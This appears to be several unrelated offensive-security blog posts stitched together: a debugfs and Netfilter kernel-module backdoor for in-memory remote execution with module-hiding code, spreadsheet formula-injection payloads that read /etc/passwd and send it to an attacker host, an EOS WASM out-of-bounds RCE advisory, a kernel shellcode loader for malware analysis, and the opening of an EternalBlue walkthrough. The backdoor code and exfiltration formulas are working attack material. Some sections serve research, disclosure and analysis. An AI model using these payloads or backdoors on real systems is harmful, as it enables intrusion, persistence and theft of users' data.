Misusing debugfs for In-Memory RCE

An explanation of how debugfs and nf hooks can be used to remotely execute code.

Картинки по запросу debugfs

Introduction

Debugfs is a simple-to-use RAM-based file system specially designed for kernel debugging purposes. It was released with version 2.6.10-rc3 and written by Greg Kroah-Hartman. In this post, I will be showing you how to use debugfs and Netfilter hooks to create a Loadable Kernel Module capable of executing code remotely entirely in RAM.

An attacker’s ideal process would be to first gain unprivileged access to the target, perform a local privilege escalation to gain root access, insert the kernel module onto the machine as a method of persistence, and then pivot to the next target.

Note: The following is tested and working on clean images of Ubuntu 12.04 (3.13.0-32), Ubuntu 14.04 (4.4.0-31), Ubuntu 16.04 (4.13.0-36). All development was done on Arch throughout a few of the most recent kernel versions (4.16+).

Practicality of a debugfs RCE

When diving into how practical using debugfs is, I needed to see how prevalent it was across a variety of systems.

For every Ubuntu release from 6.06 to 18.04 and CentOS versions 6 and 7, I created a VM and checked the three statements below. This chart details the answers to each of the questions for each distro. The main thing I was looking for was to see if it was even possible to mount the device in the first place. If that was not possible, then we won’t be able to use debugfs in our backdoor.

Fortunately, every distro, except Ubuntu 6.06, was able to mount debugfs. Every Ubuntu version from 10.04 and on as well as CentOS 7 had it mounted by default.

  1. Present: Is /sys/kernel/debug/ present on first load?
  2. Mounted: Is /sys/kernel/debug/ mounted on first load?
  3. Possible: Can debugfs be mounted with sudo mount -t debugfs none /sys/kernel/debug?
Operating System Present Mounted Possible
Ubuntu 6.06 No No No
Ubuntu 8.04 Yes No Yes
Ubuntu 10.04* Yes Yes Yes
Ubuntu 12.04 Yes Yes Yes
Ubuntu 14.04** Yes Yes Yes
Ubuntu 16.04 Yes Yes Yes
Ubuntu 18.04 Yes Yes Yes
Centos 6.9 Yes No Yes
Centos 7 Yes Yes Yes
  • *debugfs also mounted on the server version as rw,relatime on /var/lib/ureadahead/debugfs
  • **tracefs also mounted on the server version as rw,relatime on /var/lib/ureadahead/debugfs/tracing

Executing code on debugfs

Once I determined that debugfs is prevalent, I wrote a simple proof of concept to see if you can execute files from it. It is a filesystem after all.

The debugfs API is actually extremely simple. The main functions you would want to use are: debugfs_initialized — check if debugfs is registered, debugfs_create_blob — create a file for a binary object of arbitrary size, and debugfs_remove — delete the debugfs file.

In the proof of concept, I didn’t use debugfs_initialized because I know that it’s present, but it is a good sanity-check.

To create the file, I used debugfs_create_blob as opposed to debugfs_create_file as my initial goal was to execute ELF binaries. Unfortunately I wasn’t able to get that to work — more on that later. All you have to do to create a file is assign the blob pointer to a buffer that holds your content and give it a length. It’s easier to think of this as an abstraction to writing your own file operations like you would do if you were designing a character device.

The following code should be very self-explanatory. dfs holds the file entry and myblob holds the file contents (pointer to the buffer holding the program and buffer length). I simply call the debugfs_create_blob function after the setup with the name of the file, the mode of the file (permissions), NULL parent, and lastly the data.

struct dentry *dfs = NULL;
struct debugfs_blob_wrapper *myblob = NULL;

int create_file(void){
	unsigned char *buffer = "\
#!/usr/bin/env python\n\
with open(\"/tmp/i_am_groot\", \"w+\") as f:\n\
	f.write(\"Hello, world!\")";

	myblob = kmalloc(sizeof *myblob, GFP_KERNEL);
	if (!myblob){
		return -ENOMEM;
	}

	myblob->data = (void *) buffer;
	myblob->size = (unsigned long) strlen(buffer);

	dfs = debugfs_create_blob("debug_exec", 0777, NULL, myblob);
	if (!dfs){
		kfree(myblob);
		return -EINVAL;
	}
	return 0;
}

Deleting a file in debugfs is as simple as it can get. One call to debugfs_remove and the file is gone. Wrapping an error check around it just to be sure and it’s 3 lines.

void destroy_file(void){
	if (dfs){
		debugfs_remove(dfs);
	}
}

Finally, we get to actually executing the file we created. The standard and as far as I know only way to execute files from kernel-space to user-space is through a function called call_usermodehelper. M. Tim Jones wrote an excellent article on using UMH called Invoking user-space applications from the kernel, so if you want to learn more about it, I highly recommend reading that article.

To use call_usermodehelper we set up our argv and envp arrays and then call the function. The last flag determines how the kernel should continue after executing the function (“Should I wait or should I move on?”). For the unfamiliar, the envp array holds the environment variables of a process. The file we created above and now want to execute is /sys/kernel/debug/debug_exec. We can do this with the code below.

void execute_file(void){
	static char *envp[] = {
		"SHELL=/bin/bash",
		"PATH=/usr/local/sbin:/usr/local/bin:"\
			"/usr/sbin:/usr/bin:/sbin:/bin",
		NULL
	};

	char *argv[] = {
		"/sys/kernel/debug/debug_exec",
		NULL
	};

	call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

I would now recommend you try the PoC code to get a good feel for what is being done in terms of actually executing our program. To check if it worked, run ls /tmp/ and see if the file i_am_groot is present.

Netfilter

We now know how our program gets executed in memory, but how do we send the code and get the kernel to run it remotely? The answer is by using Netfilter! Netfilter is a framework in the Linux kernel that allows kernel modules to register callback functions called hooks in the kernel’s networking stack.

If all that sounds too complicated, think of a Netfilter hook as a bouncer of a club. The bouncer is only allowed to let club-goers wearing green badges to go through (ACCEPT), but kicks out anyone wearing red badges (DENY/DROP). He also has the option to change anyone’s badge color if he chooses. Suppose someone is wearing a red badge, but the bouncer wants to let them in anyway. The bouncer can intercept this person at the door and alter their badge to be green. This is known as packet “mangling”.

For our case, we don’t need to mangle any packets, but for the reader this may be useful. With this concept, we are allowed to check any packets that are coming through to see if they qualify for our criteria. We call the packets that qualify “trigger packets” because they trigger some action in our code to occur.

Netfilter hooks are great because you don’t need to expose any ports on the host to get the information. If you want a more in-depth look at Netfilter you can read the article here or the Netfilter documentation.

netfilter hooks

When I use Netfilter, I will be intercepting packets in the earliest stage, pre-routing.

ESP Packets

The packet I chose to use for this is called ESP. ESP or Encapsulating Security Payload Packets were designed to provide a mix of security services to IPv4 and IPv6. It’s a fairly standard part of IPSec and the data it transmits is supposed to be encrypted. This means you can put an encrypted version of your script on the client and then send it to the server to decrypt and run.

Netfilter Code

Netfilter hooks are extremely easy to implement. The prototype for the hook is as follows:

unsigned int function_name (
		unsigned int hooknum,
		struct sk_buff *skb,
		const struct net_device *in,
		const struct net_device *out,
		int (*okfn)(struct sk_buff *)
);

All those arguments aren’t terribly important, so let’s move on to the one you need: struct sk_buff *skbsk_buffs get a little complicated so if you want to read more on them, you can find more information here.

To get the IP header of the packet, use the function skb_network_header and typecast it to a struct iphdr *.

struct iphdr *ip_header;

ip_header = (struct iphdr *)skb_network_header(skb);
if (!ip_header){
	return NF_ACCEPT;
}

Next we need to check if the protocol of the packet we received is an ESP packet or not. This can be done extremely easily now that we have the header.

if (ip_header->protocol == IPPROTO_ESP){
	// Packet is an ESP packet
}

ESP Packets contain two important values in their header. The two values are SPI and SEQ. SPI stands for Security Parameters Index and SEQ stands for Sequence. Both are technically arbitrary initially, but it is expected that the sequence number be incremented each packet. We can use these values to define which packets are our trigger packets. If a packet matches the correct SPI and SEQ values, we will perform our action.

if ((esp_header->spi == TARGET_SPI) &&
	(esp_header->seq_no == TARGET_SEQ)){
	// Trigger packet arrived
}

Once you’ve identified the target packet, you can extract the ESP data using the struct’s member enc_data. Ideally, this would be encrypted thus ensuring the privacy of the code you’re running on the target computer, but for the sake of simplicity in the PoC I left it out.

The tricky part is that Netfilter hooks are run in a softirq context which makes them very fast, but a little delicate. Being in a softirq context allows Netfilter to process incoming packets across multiple CPUs concurrently. They cannot go to sleep and deferred work runs in an interrupt context (this is very bad for us and it requires using delayed workqueues as seen in state.c).

The full code for this section can be found here.

Limitations

  1. Debugfs must be present in the kernel version of the target (>= 2.6.10-rc3).
  2. Debugfs must be mounted (this is trivial to fix if it is not).
  3. rculist.h must be present in the kernel (>= linux-2.6.27.62).
  4. Only interpreted scripts may be run.

Anything that contains an interpreter directive (python, ruby, perl, etc.) works together when calling call_usermodehelper on it. See this wikipedia article for more information on the interpreter directive.

void execute_file(void){
	static char *envp[] = {
		"SHELL=/bin/bash",
		"HOME=/root/",
		"USER=root",
		"PATH=/usr/local/sbin:/usr/local/bin:"\
			"/usr/sbin:/usr/bin:/sbin:/bin",
		"DISPLAY=:0",
		"PWD=/", 
		NULL
	};

	char *argv[] = {
		"/sys/kernel/debug/debug_exec",
		NULL
	};

    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

Go also works, but it’s arguably not entirely in RAM as it has to make a temp file to build it and it also requires the .go file extension making this a little more obvious.

void execute_file(void){
	static char *envp[] = {
		"SHELL=/bin/bash",
		"HOME=/root/",
		"USER=root",
		"PATH=/usr/local/sbin:/usr/local/bin:"\
			"/usr/sbin:/usr/bin:/sbin:/bin",
		"DISPLAY=:0",
		"PWD=/", 
		NULL
	};

	char *argv[] = {
		"/usr/bin/go",
		"run",
		"/sys/kernel/debug/debug_exec.go",
		NULL
	};

    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

Discovery

If I were to add the ability to hide a kernel module (which can be done trivially through the following code), discovery would be very difficult. Long-running processes executing through this technique would be obvious as there would be a process with a high pid number, owned by root, and running <interpreter> /sys/kernel/debug/debug_exec. However, if there was no active execution, it leads me to believe that the only method of discovery would be a secondary kernel module that analyzes custom Netfilter hooks.

struct list_head *module;
int module_visible = 1;

void module_unhide(void){
	if (!module_visible){
		list_add(&(&__this_module)->list, module);
		module_visible++;
	}
}

void module_hide(void){
	if (module_visible){
		module = (&__this_module)->list.prev;
		list_del(&(&__this_module)->list);
		module_visible--;
	}
}

Mitigation

The simplest mitigation for this is to remount debugfs as noexec so that execution of files on it is prohibited. To my knowledge, there is no reason to have it mounted the way it is by default. However, this could be trivially bypassed. An example of execution no longer working after remounting with noexec can be found in the screenshot below.

For kernel modules in general, module signing should be required by default. Module signing involves cryptographically signing kernel modules during installation and then checking the signature upon loading it into the kernel. “This allows increased kernel security by disallowing the loading of unsigned modules or modules signed with an invalid key. Module signing increases security by making it harder to load a malicious module into the kernel.

debugfs with noexec

# Mounted without noexec (default)
cat /etc/mtab | grep "debugfs"
ls -la /tmp/i_am_groot
sudo insmod test.ko
ls -la /tmp/i_am_groot
sudo rmmod test.ko
sudo rm /tmp/i_am_groot
sudo umount /sys/kernel/debug
# Mounted with noexec
sudo mount -t debugfs none -o rw,noexec /sys/kernel/debug
ls -la /tmp/i_am_groot
sudo insmod test.ko
ls -la /tmp/i_am_groot
sudo rmmod test.ko

Future Research

An obvious area to expand on this would be finding a more standard way to load programs as well as a way to load ELF files. Also, developing a kernel module that can distinctly identify custom Netfilter hooks that were loaded in from kernel modules would be useful in defeating nearly every LKM rootkit that uses Netfilter hooks.

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Data Exfiltration via Formula Injection

Due to a recent intriguing client pentest we became increasingly interested in finding and documenting ways to extract data from spreadsheets using out of band (OOB) methods. The methods we describe in this article assume that we have some control over the content of the spreadsheet (albeit limited), but we may have little to no access to the full document or client (target) system.

We have had a cursory look at LibreOffice as well as Google Sheets and have provided a few PoCs for each. We specifically paid attention to non-Windows based applications as a lot of work has already been done in this area, and we didn’t want to regurgitate information that is already widely accessible.

With that said let’s begin…

Google Sheets OOB Data Exfiltration

Cloud based data captures are probably going to be our best bet if we’re looking to obtain live data. This is because unlike client based attacks, we may be able to populate data within a sheet in quick succession and receive near real time responses.

The attack scenarios may differ drastically, depending on what’s available to you. If you’re able to create/upload CSV files or the like to a target, you’re probably in a much greater position to successfully exploiting something. This brings us nicely to Google Sheets.

Firstly, let’s introduce some of the more interesting functions.

CONCATENATE: Appends strings to one another.

=CONCATENATE(A2:E2)

IMPORTXML: Imports data from various structured data types including XML, HTML, CSV, TSV, and RSS and ATOM XML feeds.

=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

IMPORTFEED: Imports a RSS or ATOM feed.

=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))

IMPORTHTML: Imports data from a table or list within an HTML page.

=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

IMPORTRANGE: Imports a range of cells from a specified spreadsheet.

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

IMAGE: Inserts an image into a cell.

=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")

 

Exfiltration of data:

Based on Google documentation of its spreadsheet functions, the above mentioned functions could be ripe candidates for out of band data exfiltration.

Scenario 1 [Failed]: We like to be honest and thus have included some of our failed PoCs here. Failures are a part of this game and should be considered great learning material. If it wasn’t for failure, success would never taste so sweet 😉

Google provide functionality to create forms and receive responses, which later can be accessed using Google sheets. We attempted to exploit this issue by submitting a malicious formula in the comments section of the respective Google form. However, Google was performing sanity checks on responses submitted and it automatically added an (‘) apostrophe before the formula, thus stopping the formula from executing.

Scenario 2 [Success]: Google sheets also gave some functionality that allows us to import data from different file formats like csv, tsv, xlsx etc. This imported data can be represented using a new spreadsheet or can be appended to an existing sheet. For our PoC we will be appending it to a sheet containing responses from the previous scenario, so that we can extract data submitted by other users. Fortunately for us Google did not perform the same the check it did in scenario 1. The following steps were used.

1) We created a malicious csv file with a payload (formula), that will concatenate data from A to D columns. We then generate an out of band request for our attacker server with those details.

2) We then imported the csv file into Google Sheets using the import functionality, and appended the data to the existing sheet.

3) Once the data was imported our payload executed and we received the details of users like name, email and SSN data on a HTTP server listening on our attacking server.

This hopefully gives a snippet into what may be achieved. With this in mind we’ll continue this discussion, but now focus upon LibreOffice.

LibreOffice OS File Read in a Linux Environment

This section focuses on exploiting CSV injection in Linux Environment. As we’re sure you’re aware numerous blogs, PoC’s and the such have been released that relate to exploiting DDE with Excel, but little has been looked into in regard to office applications within a Linux environment. This is understandable, Linux desktops are far less common spread than their Windows counterparts and as we know, attacks are always going to target the most widespread aka most lucrative endpoints.

In this article we wanted to highlight some simple, yet very interesting formula attacks that can be exploited on a Linux target. For this writeup we are using the following environment, although these issues will likely be further widespread.

The payloads were successfully tested on the environments listed below:

  • Ubuntu 16.04 LTS and LibreOffice 5.1.6.2
  • Ubuntu 18.04 LTS and LibreOffice 6.0.3.2

We first tried to read sensitive files via formulas using our local access. LibreOffice offers to read a file using the “file” protocol. An initial PoC to retrieve a single line from the local /etc/passwd file was created and is detailed below.

Payload 1:

='file:///etc/passwd'#$passwd.A1

Analyzing the above payload:

  • ‘file:///etc/passwd’#$passwd.A1 – Will read the 1st line from the local /etc/passwd file

* Interestingly it seems that a remote resource may also be queried using http:// in place of file:///

It should be noted that upon initial import the user will be prompted for an action as shown within the following screenshot (showing the output of /etc/group, in this instance).

After this import, the user is then prompted to update links whenever the document is reopened.

Incidentally, by altering the row reference (in this case A2), we could read further entries from the file.

This is all well and good, but we needed a way to see the file contents from a remote system (we won’t have the advantage of viewing these results within the LibreOffice application!)

This lead us to look into the WEBSERVICE function. In essence we could use this function to connect to a remote system that we control and then send requests for the data that we have extracted from the local /etc/passwd file. Obviously these files won’t exist on the attacking host, but the GET requests will include all the juicy info and will be accessible to us from logs or console output on the attacking host.

Continuing with this theory we came up with the following PoC.

Payload 2:

=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)))

Analyzing the above payload:

  • ‘file:///etc/passwd’#$passwd.A1 – Will read the 1st line from the local /etc/passwd file
  • CONCATENATE(“http://<ip>:8080”,(‘file:///etc/passwd’#$passwd.A1)) – Concatenate the IP address and output of ‘file’
  • WEBSERVICE – Will make a request to our attacking host for the given URI

Our attacking system had Python’s SimpleHTTPServer running, so when the malicious file is opened on the victim system, the requests were made and hence received by our server.

Similarly, we created a couple of payloads to read multiple lines from a target file. If space isn’t an issue, this task can be easily achieved by embedding multiple rows within a single document by just ensuring that the last reference, i.e. #$passwd.A1 is set to increment with each row. The following PoC will extract and send the first 30 rows within the target file /etc/passwd.

However, a cleaner way of achieving the same goal would be to reference multiple rows within a single formula as shown below.

On executing the below payload, 2 lines from /etc/passwd file are sent to the attacking server.

Payload 3:

=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

Analyzing the above payload:

  • ‘file:///etc/passwd’#$passwd.AX – Will read the 1st and 2nd lines from the local /etc/passwd file
  • CONCATENATE(“http://<ip>:8080/”,(‘file:///etc/passwd’#$passwd.A1)&CHAR(36)&(‘file:///etc/passwd’#$passwd.A2)) – Concatenate the attacking server IP address with the output of /etc/passwd lines rows 1 and 2 (the 1st 2 lines in the file), each being separated with the dollar($) character
  • WEBSERVICE – Will make a request to our attacking host for the given URI

Looking at the attacking host we can see the corresponding entries from /etc/passwd within the GET request, separated in this instance by the $ character (CHAR 36).

Depending on the file contents we could be hitting issues with length here (https://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers) and special characters may also play a part in a PoC failure.

We address both issues in the next PoC, and as no OOB data exfiltration would be complete without the obligatory DNS example; here it is.

Payload 4:

=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<FQDN>"))

Analyzing the above payload:

  • ‘file:///etc/passwd’#$passwd.A19 – Will read the 19th line from the local /etc/passwd file
  • ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – URL encode the returned data
  • MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Similar to substring, read data from 1st character to 41st – a very handy way to restrict the length of DNS hostnames (254 character limit on FQDN and 63 characters for a label, i.e. subdomain)
  • SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – replace all instances of % (the special character from URL encoding) with dash – this is ensure that only valid DNS characters are used
  • CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) – Concatenate the output from the file (after the above processing has taken place) with the FQDN (for which we have access to the host that is authoritative for the domain)
  • WEBSERVICE – Will make a request for this non-existent DNS name which we can then parse the logs (or run tcpdump etc.) on the DNS authoritative name server for which we have control

Upon sending this, we can see queries for the FQDN (which includes the encoded data from line 19 of /etc/passwd), via tcpdump on our server that is configured to be the authoritative server for the domain, as shown below.

If you happen to be using, testing or tinkering with an application that offers upload/download/imports/exports of CSV data and the like, you may well be glad of simple wins such as displayed here.

EOS Node Remote Code Execution Vulnerability — EOS WASM Contract Function Table Array Out of Bounds

Vulnerability Description

EOS Node Remote Code Execution Vulnerability — EOS WASM Contract Function Table Array Out of Bounds
EOS Node Remote Code Execution Vulnerability — EOS WASM Contract Function Table Array Out of Bounds

We found and successfully exploit a buffer out-of-bounds write vulnerability in EOS when parsing a WASM file.

To use this vulnerability, attacker could upload a malicious smart contract to the nodes server, after the contract get parsed by nodes server, the malicious payload could execute on the server and taken control of it.

After taken control of the nodes server, attacker could then pack the malicious contract into new block and further control all nodes of the EOS network.

Vulnerability Reporting Timeline

2018-5-11                  EOS Out-of-bound Write Vulnerability Found

2018-5-28                Full Exploit Demo of Compromise EOS Super Node Completed

2018-5-28                Vulnerability Details Reported to Vendor

2018-5-29                 Vendor Fixed the Vulnerability on Github and Closed the Issue

2018-5-29                   Notices the Vendor the Fixing is not complete

Some Telegram chats with Daniel Larimer:

We trying to report the bug to him.

He said they will not ship the EOS without fixing, and ask us send the report privately since some people are running public test nets

 +1,699,900 470,700 2,098,300 Critical RCE Flaw Discovered in Blockchain-Based EOS Smart Contract System

He provided his mailbox and we send the report to him

 +1,699,900 470,700 2,098,300 Critical RCE Flaw Discovered in Blockchain-Based EOS Smart Contract System

He provided his mailbox and we send the report to him

EOS fixed the vulnerability and Daniel would give the acknowledgement.

RCE Flaw Discovered in Blockchain-Based EOS Smart Contract System

Technical Detail of the Vulnerability  

This is a buffer out-of-bounds write vulnerability

At libraries/chain/webassembly/binaryen.cpp (Line 78),Function binaryen_runtime::instantiate_module:

for (auto& segment : module->table.segments) {
Address offset = ConstantExpressionRunner<TrivialGlobalManager>(globals).visit(segment.offset).value.geti32();
assert(offset + segment.data.size() <= module->table.initial);
for (size_t i = 0; i != segment.data.size(); ++i) {
table[offset + i] = segment.data[i]; <= OOB write here !
}
}

Here table is a std::vector contains the Names in the function table. When storing elements into the table, the |offset| filed is not correctly checked. Note there is a assert before setting the value, which checks the offset, however unfortunately, |assert| only works in Debug build and does not work in a Release build.

The table is initialized earlier in the statement:

table.resize(module->table.initial);

Here |module->table.initial| is read from the function table declaration section in the WASM file and the valid value for this field is 0 ~ 1024.

The |offset| filed is also read from the WASM file, in the data section, it is a signed 32-bits value.

So basically with this vulnerability we can write to a fairly wide range after the table vector’s memory.

How to reproduce the vulnerability

  1. Build the release version of latest EOS code

./eosio-build.sh

  1. Start EOS node, finish all the necessary settings described at:

https://github.com/EOSIO/eos/wiki/Tutorial-Getting-Started-With-Contracts

  1. Set a vulnerable contract:

We have provided a proof of concept WASM to demonstrate a crash.

In our PoC, we simply set the |offset| field to 0xffffffff so it can crash immediately when the out of bound write occurs.

To test the PoC:
cd poc
cleos set contract eosio ../poc -p eosio

If everything is OK, you will see nodeos process gets segment fault.

The crash info:

(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x0000000000a32f7c in eosio::chain::webassembly::binaryen::binaryen_runtime::instantiate_module(char const*, unsigned long, std::vector<unsigned char, std::allocator<unsigned char> >) ()

(gdb) x/i $pc

=> 0xa32f7c <_ZN5eosio5chain11webassembly8binaryen16binaryen_runtime18instantiate_moduleEPKcmSt6vectorIhSaIhEE+2972>:   mov    %rcx,(%rdx,%rax,1)

(gdb) p $rdx

$1 = 59699184

(gdb) p $rax

$2 = 34359738360

Here |rdx| points to the start of the |table| vector,

And |rax| is 0x7FFFFFFF8, which holds the value of |offset| * 8.

Exploit the vulnerability to achieve Remote Code Execution

This vulnerability could be leveraged to achieve remote code execution in the nodeos process, by uploading malicious contracts to the victim node and letting the node parse the malicious contract. In a real attack, the attacker may publishes a malicious contract to the EOS main network.

The malicious contract is first parsed by the EOS super node, then the vulnerability was triggered and the attacker controls the EOS super node which parsed the contract.

The attacker can steal the private key of super nodes or control content of new blocks. What’s more, attackers can pack the malicious contract into a new block and publish it. As a result, all the full nodes in the entire network will be controlled by the attacker.

We have finished a proof-of-concept exploit, and tested on the nodeos build on 64-bits Ubuntu system. The exploit works like this:

  1. The attacker uploads malicious contracts to the nodeos server.
  2. The server nodeos process parses the malicious contracts, which triggers the vulnerability.
  3. With the out of bound write primitive, we can overwrite the WASM memory buffer of a WASM module instance. And with the help of our malicious WASM code, we finally achieves arbitrary memory read/write in the nodeos process and bypass the common exploit mitigation techniques such as DEP/ASLR on 64-bits OS.
  4. Once successfully exploited, the exploit starts a reverse shell and connects back to the attacker.

You can refer to the video we provided to get some idea about what the exploit looks like, We may provide the full exploit chain later.

The Fixing of Vulnerability

Bytemaster on EOS’s github opened issue 3498 for the vulnerability that we reported:

And fixed the related code

But as the comment made by Yuki on the commit, the fixing is still have problem on 32-bits process and not so prefect.

Loading Kernel Shellcode

In the wake of recent hacking tool dumps, the FLARE team saw a spike in malware samples detonating kernel shellcode. Although most samples can be analyzed statically, the FLARE team sometimes debugs these samples to confirm specific functionality. Debugging can be an efficient way to get around packing or obfuscation and quickly identify the structures, system routines, and processes that a kernel shellcode sample is accessing.

This post begins a series centered on kernel software analysis, and introduces a tool that uses a custom Windows kernel driver to load and execute Windows kernel shellcode. I’ll walk through a brief case study of some kernel shellcode, how to load shellcode with FLARE’s kernel shellcode loader, how to build your own copy, and how it works.

As always, only analyze malware in a safe environment such as a VM; never use tools such as a kernel shellcode loader on any system that you rely on to get your work done.

A Tale of Square Pegs and Round Holes

Depending upon how a shellcode sample is encountered, the analyst may not know whether it is meant to target user space or kernel space. A common triage step is to load the sample in a shellcode loader and debug it in user space. With kernel shellcode, this can have unexpected results such as the access violation in Figure 1.


Figure 1: Access violation from shellcode dereferencing null pointer

The kernel environment is a world apart from user mode: various registers take on different meanings and point to totally different structures. For instance, while the gs segment register in 64-bit Windows user mode points to the Thread Information Block (TIB) whose size is only 0x38 bytes, in kernel mode it points to the Processor Control Region (KPCR) which is much larger. In Figure 1 at address 0x2e07d9, the shellcode is attempting to access the IdtBase member of the KPCR, but because it is running in user mode, the value at offset 0x38 from the gs segment is null. This causes the next instruction to attempt to access invalid memory in the NULL page. What the code is trying to do doesn’t make sense in the user mode environment, and it has crashed as a result.

In contrast, kernel mode is a perfect fit. Figure 2 shows WinDbg’s dt command being used to display the _KPCR type defined within ntoskrnl.pdb, highlighting the field at offset 0x38 named IdtBase.


Figure 2: KPCR structure

Given the rest of the code in this sample, accessing the IdtBase field of the KPCR made perfect sense. Determining that this was kernel shellcode allowed me to quickly resolve the rest of my questions, but to confirm my findings, I wrote a kernel shellcode loader. Here’s what it looks like to use this tool to load a small, do-nothing piece of shellcode.

Using FLARE’s Kernel Shellcode Loader

I booted a target system with a kernel debugger and opened an administrative command prompt in the directory where I copied the shellcode loader (kscldr.exe). The shellcode loader expects to receive the name of the file on disk where the shellcode is located as its only argument. Figure 3 shows an example where I’ve used a hex editor to write the opcodes for the NOP (0x90) and RET (0xC3) instructions into a binary file and invoked kscldr.exe to pass that code to the kernel shellcode loader driver. I created my file using the Windows port of xxd that comes with Vim for Windows.


Figure 3: Using kscldr.exe to load kernel shellcode

The shellcode loader prompts with a security warning. After clicking yes, kscldr.exe installs its driver and uses it to execute the shellcode. The system is frozen at this point because the kernel driver has already issued its breakpoint and the kernel debugger is awaiting commands. Figure 4 shows WinDbg hitting the breakpoint and displaying the corresponding source code for kscldr.sys.


Figure 4: Breaking in kscldr.sys

From the breakpoint, I use WinDbg with source-level debugging to step and trace into the shellcode buffer. Figure 5 shows WinDbg’s disassembly of the buffer after doing this.


Figure 5: Tracing into and disassembling the shellcode

The disassembly shows the 0x90 and 0xc3 opcodes from before, demonstrating that the shellcode buffer is indeed being executed. From here, the powerful facilities of WinDbg are available to debug and analyze the code’s behavior.

Building It Yourself

To try out FLARE’s kernel shellcode loader for yourself, you’ll need to download the source code.

To get started building it, download and install the Windows Driver Kit (WDK). I’m using Windows Driver Kit Version 7.1.0, which is command line driven, whereas more modern versions of the WDK integrate with Visual Studio. If you feel comfortable using a newer kit, you’re welcomed to do so, but beware, you’ll have to take matters into your own hands regarding build commands and dependencies. Since WDK 7.1.0 is adequate for purposes of this tool, that is the version I will describe in this post.

Once you have downloaded and installed the WDK, browse to the Windows Driver Kits directory in the start menu on your development system and select the appropriate environment. Figure 6 shows the WDK program group on a Windows 7 system. The term “checked build” indicates that debugging checks will be included. I plan to load 64-bit kernel shellcode, and I like having Windows catch my mistakes early, so I’m using the x64 Checked Build Environment.


Figure 6: Windows Driver Kits program group

In the WDK command prompt, change to the directory where you downloaded the FLARE kernel shellcode loader and type ez.cmd. The script will cause prompts to appear asking you to supply and use a password for a test signing certificate. Once the build completes, visit the bin directory and copy kscldr.exe to your debug target. Before you can commence using your custom copy of this tool, you’ll need to follow just a few more steps to prepare the target system to allow it.

Preparing the Debug Target

To debug kernel shellcode, I wrote a Windows software-only driver that loads and runs shellcode at privilege level 0. Normally, Windows only loads drivers that are signed with a special cross-certificate, but Windows allows you to enable testsigning to load drivers signed with a test certificate. We can create this test certificate for free, and it won’t allow the driver to be loaded on production systems, which is ideal.

In addition to enabling testsigning mode, it is necessary to enable kernel debugging to be able to really follow what is happening after the kernel shellcode gains execution. Starting with Windows Vista, we can enable both testsigning and kernel debugging by issuing the following two commands in an administrative command prompt followed by a reboot:

bcdedit.exe /set testsigning on

bcdedit.exe /set debug on

For debugging in a VM, I install VirtualKD, but you can also follow your virtualization vendor’s directions for connecting a serial port to a named pipe or other mechanism that WinDbg understands. Once that is set up and tested, we’re ready to go!

If you try the shellcode loader and get a blue screen indicating stop code 0x3B (SYSTEM_SERVICE_EXCEPTION), then you likely did not successfully connect the kernel debugger beforehand. Remember that the driver issues a software interrupt to give control to the debugger immediately before executing the shellcode; if the debugger is not successfully attached, Windows will blue screen. If this was the case, reboot and try again, this time first confirming that the debugger is in control by clicking Debug -> Break in WinDbg. Once you know you have control, you can issue the g command to let execution continue (you may need to disable driver load notifications to get it to finish the boot process without further intervention: sxd ld).

How It Works

The user-space application (kscldr.exe) copies the driver from a PE-COFF resource to the disk and registers it as a Windows kernel service. The driver implements device write and I/O control routines to allow interaction from the user application. Its driver entry point first registers dispatch routines to handle CreateFile, WriteFile, DeviceIoControl, and CloseHandle. It then creates a device named \Device\kscldr and a symbolic link making the device name accessible from user-space. When the user application opens the device file and invokes WriteFile, the driver calls ExAllocatePoolWithTag specifying a PoolType of NonPagedPool (which is executable), and writes the buffer to the newly allocated memory. After the write operation, the user application can call DeviceIoControl to call into the shellcode. In response, the driver sets the appropriate flags on the device object, issues a breakpoint to pass control to the kernel debugger, and finally calls the shellcode as if it were a function.

While You’re Here

Driver development opens the door to unique instrumentation opportunities. For example, Figure 7 shows a few kernel callback routines described in the WDK help files that can track system-wide process, thread, and DLL activity.


Figure 7: WDK kernel-mode driver architecture reference

Kernel development is a deep subject that entails a great deal of study, but the WDK also comes with dozens upon dozens of sample drivers that illustrate correct Windows kernel programming techniques. This is a treasure trove of Windows internals information, security research topics, and instrumentation possibilities. If you have time, take a look around before you get back to work.

Wrap-Up

We’ve shared FLARE’s tool for loading privileged shellcode in test environments so that we can dynamically analyze kernel shellcode. We hope this provides a straightforward way to quickly triage kernel shellcode if it ever appears in your environment. Download the source code now.

From git clone to Pwned — Owning Windows with DoublePulsar and EternalBlue

By now, you’ve likely heard about the Shadow Brokers and their alleged NSA tool dump. Regardless of whether you believe it was or was not the toolset of a nation-state actor, at least one thing is true: this stuff works, and it works well.

In this blog series I’ll walk through some of what I’ve learned from the dump, focusing specifically on two tools: Eternal Blue, a tool for backdooring Windows via MS17-010, and DoublePulsar, an exploit that allows you to inject DLLs through the established backdoor, or inject your own shellcode payload. In this first post, we’ll walk through setting up the environment and getting the front-end framework, Fuzzbunch, to run.

